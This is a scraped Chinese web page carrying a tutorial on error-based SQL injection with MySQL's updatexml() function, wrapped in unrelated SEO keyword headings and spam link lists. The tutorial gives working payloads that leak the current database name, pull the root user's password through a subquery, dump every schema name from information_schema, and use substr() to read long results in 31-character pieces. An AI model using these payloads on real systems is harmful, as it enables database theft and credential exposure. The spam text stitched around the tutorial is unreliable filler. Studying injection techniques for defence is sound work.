当前位置: 首页 > news >正文

前端开发做移动端的网站群晖 nas wordpress

前端开发做移动端的网站,群晖 nas wordpress,茂名放心营销网站开发,做网站要多少钱汉狮《网络安全自学教程》 SQL注入时,经常利用updatexml()的报错特性来脱库。 updatexml报错原理 1、updatexml语法参数2、报错原理分析3、使用updatexml()脱库4、分割显示结果 updatexml() 的作用是修改xml文件的内容。 1、updatexml语法参数 updatexml(参数1&#x…
《网络安全自学教程》

在这里插入图片描述

SQL注入时,经常利用updatexml()的报错特性来脱库。

updatexml报错原理

  • 1、updatexml语法参数
  • 2、报错原理分析
  • 3、使用updatexml()脱库
  • 4、分割显示结果

updatexml() 的作用是修改xml文件的内容。

1、updatexml语法参数

updatexml(参数1,参数2,参数3)

  • 参数1: 文件名,比如 a.xm
  • 参数2:路径,比如 contry->city1
  • 参数3:替换的值内容,比如 tianjing

就是把 a.xm 文件中 contry->city1 标签的值改成 tianjing

2、报错原理分析

参数2 的路径必须符合 XML 的 Xpath 语法,否则就会报错,提示你语法错误,并且把报错位置的内容显示出来。

比如我给参数2一个特殊符号~,它就会把这个特殊符号显示出来。

​​​​​​​​​​​​在这里插入图片描述

如果函数里还有函数,他就会先执行里面的那个函数,类似小学数学里提到的"先算括号内,再算括号外",利用这个特性,我们在updatexml()里插入别的函数。

select updatexml(1,concat('~',database()),3);
  1. 它会先执行最里面的 database() ,查看到前使用的数据库是test。
select updatexml(1,concat('~',test),3);
  1. 再执行 concat() ,拼接成~test
select updatexml(1,~test’,3);
  1. 再执行updatexml(),一看参数2是 ~test,不符合Xpath语法,就报语法错误,停止执行SQL,然后把报错位置的参数显示出来。像下图的执行结果那样,我们就拿到了当前使用的数据库。

在这里插入图片描述

3、使用updatexml()脱库

按照上一步的逻辑,在函数中再插入括号,括号里写SQL语句,就能执行任意SQL,比如:查看root用户的密码。

select updatexml(1,concat('~',
(select password from user where username='root')
),3);

在这里插入图片描述

插入脱库语法来脱裤。

select updatexml(1,
concat('~',(
select group_concat(schema_name) 
from information_schema.schemata
)),3);

在这里插入图片描述

这里大家能注意到,我文章中的SQL故意换行了,这个换行不是语法要求,是给你自己看的,否则嵌套这么多括号,很容易写错。

4、分割显示结果

updatexml() 显示的报错内容字符串,最大长度是31个字符。脱库的结果显示不全,我们可以用 substr() 截取不同位置的字符串,分别显示出来。

比如:从第1个字符开始,截取31个字符。

select updatexml(1,concat('~',
substr(
(select group_concat(schema_name) 
from information_schema.schemata)
,1,31)
),3);

在这里插入图片描述

从第32个字符开始,截取31个字符。

select updatexml(1,concat('~',
substr(
(select group_concat(schema_name) 
from information_schema.schemata)
,32,31)
),3);

在这里插入图片描述
直到显示完所有字符。

http://www.yayakq.cn/news/144793/

相关文章:

  • 务川县住房和城乡建设局网站设计网站做什么内容好
  • 诸城 网站 建设用网站做平台有哪些
  • 网站情况建设说明书做网站 橙色怎么搭配
  • 长安区网站建设网站建设需要懂什么语言
  • 免费建设淘宝客网站临海钢结构设计网站
  • 网站推广视频的服务方案佛山电子商务网站设计
  • 自己如何建设网站首页宝塔linux面板官网
  • 东莞网站推广电话互联网推广模式有哪些
  • 网站是如何优化的阿里云可以网站备案吗
  • 太原做网站软件微信网站的制作
  • 上海网站关键词优化服务怎么才能在百度上做引流呢
  • 专门找建筑案例的网站视频logo免费生成网站软件
  • 网站的制作与调试网站建设合作合同模板
  • 有原型怎么做网站企业咨询是什么
  • 做网站后端要什么技术网站设计与建设公司
  • 湖北省住房和城乡建设厅网站的公示公告设计师培训生招聘
  • 做网站赚钱的点在哪里南昌做网站排名
  • 什么软件做美食视频网站页面模板 公众号
  • 运动品牌网站开发题目来源海南做房地产网站的网络公司
  • 网站服务器重做系统怎么做个人网页制作方案
  • 网站与网站自动跳转代码网站如何做付费
  • 自动建设网站系统吴江建设网站
  • 在线网站软件免费下载安装友联互换
  • 桂阳网站制作公司深圳营销型网站建设-龙华信科
  • 中国建设银行网站客户注册小网站发布要怎么做
  • 济南酷火网站建设网站登陆模板
  • 网站设计计费宜兴网站建设公司
  • 有一个做炫舞官网活动的网站化工网站建站模板下载
  • 技术支持 合肥网站建设广州我要做网站
  • 西宁电商网站建设安阳seo